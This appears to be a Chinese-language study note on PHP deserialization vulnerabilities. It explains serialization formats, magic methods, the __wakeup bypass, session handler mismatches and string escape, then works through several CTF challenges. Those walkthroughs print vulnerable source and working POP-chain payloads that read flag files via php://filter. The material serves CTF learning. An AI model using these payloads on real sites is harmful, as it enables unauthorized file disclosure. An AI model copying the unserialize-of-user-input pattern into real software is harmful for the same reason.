php反序列化

序列化的作用

序列化是将对象的状态信息(属性)转换为可以存储或输出的形式的过程,php就是将对象或者数组转化为可存储/传输的字符串

常见序列化格式

类型 示例 格式
空字符 null N;
整形 666 i:666;
浮点型 66.6 d:66.6;
boolean型 true b:1;
false b:0;
字符串 ‘benben’ s:6:”benben”;

数组

1
2
3
4
5
<?php
$a=array('benben','dazhuang','laoliu');
echo serialize($a);
?>
输出:a:3:{i:0;s:6:"benben";i:1;s:8:"dazhuang";i:2;s:6:"laoliu";}

a指的是array,3是数组的成员数量,i后面的数字是数组成员编号
下面重点讲解对象的序列化

对象的序列化

1
2
3
4
5
6
7
8
9
10
<?php
class test{
public $pub='benben';
function jineng(){
echo $this->pub;
}
}
$a=new test();
echo serialize($a);
?>

序列化的是对象而不是类,对象是类的实例化

1
2
O(object):4(类名长度):"test"(类名):1(变量数量):{s:3(变量名字长度):"pub"(变量名字);s:6(值的长度):"benben"(变量值);}
O:4:"test":1:{s:3:"pub";s:6:"benben";}

默认只会序列化成员属性,不会序列化成员函数
注意:1、当成员属性是private私有属性序列化时在变量名前加”%00类名%00”,但空格在生成的poc中会变成小方块,所以在序列化时经常使用:

1
echo urlencode(serialize($value));

进行url编码,使空格显示为%00

1
2
3
4
5
6
7
8
9
10
11
<?php
class test{
private $pub='benben';
function jineng(){
echo $this->pub;
}
}
$a=new test();
echo serialize($a);
?>
序列化后:O:4:"test":1:{s:9:"testpub";s:6:"benben";}

2、成员属性是protected受保护的进行序列化时在变量名前加”%00*%00”,变量名字长度同样要改变

1
2
3
4
5
6
7
8
9
10
11
<?php
class test{
private $pub='benben';
function jineng(){
echo $this->pub;
}
}
$a=new test();
echo serialize($a);
?>
序列化后:O:4:"test":1:{s:6:"*pub";s:6:"benben";}

3、成员属性调用实例化后的对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class test{
private $pub='benben';
function jineng(){
echo $this->pub;
}
}
class test2{
var $ben;
}
$b=new test();
$a=new test2();
$a->ben=$b;
echo serialize($a);
?>
O:5:"test2":1:{s:3:"ben";O:4:"test":1:{s:3:"pub";s:6:"benben";}}

反序列化漏洞的成因

首先需要知道的是发序列化生成的对象里的成员属性值是由反序列化里的值提供的,于原来类预定义的值无关。那么漏洞成因就是在反序列化过程中unserialize的字符串可控,通过更改这个字符串,反序列化后就可以得到所需要的代码,即生成的对象的属性值
做反序列化的题目,我们需要知道的是反序列化不改变类的成员方法,需要调用方法后才能触发

反序列化中常见的魔术方法

1
2
3
4
5
6
7
8
9
10
11
12
_construct() //实例化对象
__destruct() //对象引用完成或对象被销毁反序列化之后
__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发
__get() //调用的成员属性不存在
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发

_destruct()触发
1、实例化对象,因为对象被创建最后用完一定会被销毁
2、反序列化,因为反序列化那串字符串后如果是个对象,一样后面会被销毁

计算机漏洞安全相关的概念POC 、EXP 、VUL 、CVE 、0DAY

https://blog.csdn.net/qq_37622608/article/details/88048847

字符串逃逸基础

在前面字符串没有问题的情况下,反序列化以;}结束,后面的字符串不影响正常的反序列化

属性逃逸

一般在数据先经过一次serialize在经过unserialize,在这个中间反序列化的字符串变多或者变少的时候才有可能存在反序列化属性逃逸

字符减少和字符增加

wakeup绕过

在反反序列化时,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup( )的执行。
影响版本
php5.0.0 ~ php5.6.25
php7.0.0 ~ php7.0.10

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

highlight_file(__FILE__);
class A{
private $filename = 'test.txt';

public function __wakeup() {
$this->filename = 'test.txt';
}

public function __destruct() {
echo file_get_contents($this->filename);
}

}

$data = $_GET['data'];
unserialize($data);

php语言的特性为在反序列化时,先执行__wakeup()魔术方法,才会执行__destruct()魔术方法
也就是说当我们使用payload

1
2
3
4
class A{
private $filename = 'flag.php';
}
echo urlencode(serialize(new A()));

反序列化时修改的$filename的值在__wakeup()函数时由flag.php修改为了test.txt
绕过__wakeup()函数时将对象属性个数的值大于真实的属性个数时即可绕过
即O%3A1%3A%22A%22%3A1%3A%7Bs%3A11%3A%22%00A%00filename%22%3Bs%3A8%3A%22flag.php%22%3B%7D只需要将对象个数大于1即可,2,3,4等等都行

引用的利用方式

session反序列化漏洞

当session_start()被调用或者php.ini中的session.auto_start为1时,PHP内部调用会话管理器,访问用户被序列化以后,储存到指定目录(默认为/tmp)
存取数据的格式有多种,常用的有三种
漏洞产生:写入格式和读取格式不一致

默认情况下用php格式储存

1
2
3
4
5
6
<?php
session_start();
$_SESSION['benben']=$_GET['ben'];
?>
?ben=dazhuang
benben|s:8:"dazhuang";

php:键名+竖线+经过serialize()函数序列化处理的值

声明session存储格式为php_serialize

1
2
3
4
5
6
7
8
<?php
ini_set('session.serialize_hander','php_serialize');
session_start();
$_SESSION['benben']=$_GET['ben'];
$_SESSION['b']=$_GET['b'];
?>
?ben=dazhuang&b=666
a:2:{s:6:"benben";s:8:"dazhuang";s:1:"b";s:3:"666";}

php_serialize:经过serialize()函数序列化处理的数组

php反序列化例题:只截取其中的反序列化部分

[极客大挑战 2019]PHP 1

index.php中,文件包含class.php,下面对传入的参数进行反序列化,那么因为包含class.php,所以会触发里面的魔术方法

1
2
3
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);

class.php中,包含文件flag.php,所以有机会读取到从中读取到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
include 'flag.php';


error_reporting(0);


class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}

function __wakeup(){
$this->username = 'guest';
}

function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();


}
}
}
?>

构造pop链的关键在于wake_up的绕过

1
2
3
4
5
6
7
8
<?php
class Name{
private $username = 'admin';
private $password = '100';
}
$a=new Name();
echo urlencode(serialize($a));
?>
1
O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

[NISACTF 2022]popchains

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class Road_is_Long{
public $page;
public $string;

}

class Try_Work_Hard{
protected $var='php://filter/read=convert.base64-encode/resource=/flag';

}

class Make_a_Change{
public $effort;
}
$b=new Try_Work_Hard();
$c=new Make_a_Change();
$a=new Road_is_Long();
$c->effort=$b;
$a->string=$c;
$a->page=$a;
echo urlencode(serialize($a));
?>

这题非常常规,就是魔术方法跳来跳去

[网鼎杯 2020 青龙组]AreUSerialz

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
 <?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

}

定义的is_valid()函数检查每个字符是否在32和125之间,即是否是可打印字符,所以protected在序列化之后会出现不可见字符,不符合上面的要求,绕过方法就是直接改成public,原因是php7.1以上的版本对属性类型不敏感。

1
2
3
4
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);

这里是我们需要关注的题目出口,file_get_contents()把整个文件读入一个字符串中,那么我们就可以将文件名改成我们要读取的文件这里可以看到上面的文件包含,想到了伪协议读取php://filter/read=convert.base64-encode/resource=flag.php。接着要调用这个函数就关注到

1
2
3
4
5
6
7
8
9
10
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

当op==”2”时会调用read(),然后调用output

1
2
3
private function output($s) {
echo "[Result]: <br>";
echo $s;

输出字符串内容
然后我们需要考虑如何调用process()

1
2
3
4
5
6
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

关注到这里,但是需要绕过强比较,所以op=2,既可以绕过强比较又可以让process中的弱比较返回true。__destruct()会由实例化触发或反序列化触发。
构造pop链:

1
2
3
4
5
6
7
8
9
10
<?php
class FileHandler {
public $op = 2;
public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
public $content;
}
$a = new FileHandler();
echo serialize($a);

?>

DASCTF EZUnserialize

这是一题字符减少

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
show_source("index.php");
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}

class A{
public $username;
public $password;
function __construct($a, $b){
$this->username = $a;
$this->password = $b;
}
}

class B{
public $b = 'gqy';
function __destruct(){
$c = 'a'.$this->b;
echo $c;
}
}

class C{
public $c;
function __toString(){
//flag.php
echo file_get_contents($this->c);
return 'nice';
}
}

$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a))));

目标:通过file_get_contents输出$c的信息,所以可以使$c为flag.php
反推开始:1、触发__toString魔术方法
2、触发__destruct魔术方法,析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行,类B实例化最终被销毁的时候触发
poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

class A{
public $username;
public $password;

}

class B{
public $b = 'gqy';

}

class C{
public $c;

}
$b=new B();
$c=new c();
$c->c='flag.php';
$b->b=$c;
echo serialize($b);
?>
O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}

这里需要对上面的源代码进行解释:
$a = new A($_GET['a'],$_GET['b']);将类A实例化并且接受传参,自动触发__construct(),并且参数会传入function __construct($a, $b)

1
2
3
4
function __construct($a, $b){
$this->username = $a;
$this->password = $b;
}

补充:

详见:https://www.icoa.cn/a/957.html
回到正题,接下来将
再把序列后的值传给类A:

1
2
3
4
5
6
7
8
9
10
11
<?php
class A{
public $username;
public $password='O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}';
function __construct(){

}
}

$a = new A();
echo serialize($a);

得到:

1
O:1:"A":2:{s:8:"username";N;s:8:"password";s:55:"O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}";}

传进去的序列化值,被当成字符串了。
而题目又给了两个方法:

1
2
3
4
5
6
7
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}
1
2
3
4
反序列化操作也给了出来:
$b = unserialize(read(write(serialize($a))));
write方法:把序列化值中的 *(这里是三个字符,chr(0)是为空的)替换成 \0\0\0。
read方法:把\0\0\0,还原成*

先试一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}
class A{
public $username='\0\0\0';
public $password='O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}';
function __construct(){

}
}

$a = new A();
echo serialize($a);
echo read(serialize($a));

对比可以发现,通过read函数后,s:6:"*"这段很明显是错误的,他包含到的是s:6:"*";s,并且没有双引号闭合,如果要反序列化肯定是不行的(这里双引号里包含的是三个字符,浏览器显示问题看不到)。所以如果把一个特殊的的值赋值给password,然后通过read方法吞掉部分字符,就能达到字符串逃逸的效果
所以:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}
class A{
public $username='\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0';
public $password='a";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}';
function __construct(){

}
}

$a = new A();
echo serialize($a);
echo "\n\n";
echo read(serialize($a));

提前计算要逃逸的字符数";s:8:"password";s:73:"a为23,由于23不能和3整除,所以添加一个字符a
payload:

1
?a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=a";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}

对于涉及字符串逃逸的题还是有点懵,总是做着做着就忘记要干嘛了

[NISACTF 2022]babyserialize

反序列化绕过正则

preg_match(‘/^O:\d+/‘)

绕过方法1:利用加号来绕过过滤,因为数字1其实完整的写法是+1,所以这里我们就是在O后面这个数字前面加一个+

绕过方法2:在加号不能使用的情况下,我们可以使用数组绕过,在序列化的时候加上array

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//EXP
<?php

class AAA{
public $name="aaa";
}

echo serialize(array(new AAA));

//实例
<?php
class AAA{

public $name;

public function __destruct(){
echo $this -> name;
}
}
var_dump(unserialize('a:1:{i:0;O:3:"AAA":1:{s:4:"name";s:3:"aaa";}}'));

1
2
3
4
5
$a[]='flag.php';

$a=array('flag.php');

$a=['flag.php'];